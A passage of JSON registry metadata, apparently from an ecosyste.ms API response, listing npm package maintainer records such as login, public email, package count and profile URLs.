registries/npmjs.org/maintainers/acacode/packages"},{"uuid":"smorimoto","login":"smorimoto","name":null,"email":"sora@morimoto.io","url":null,"packages_count":2,"html_url":"https://www.npmjs.com/~smorimoto","role":null,"created_at":"2023-02-10T18:24:12.896Z","updated_at":"2023-02-10T18:24:12.896Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/smorimoto/packages"}]}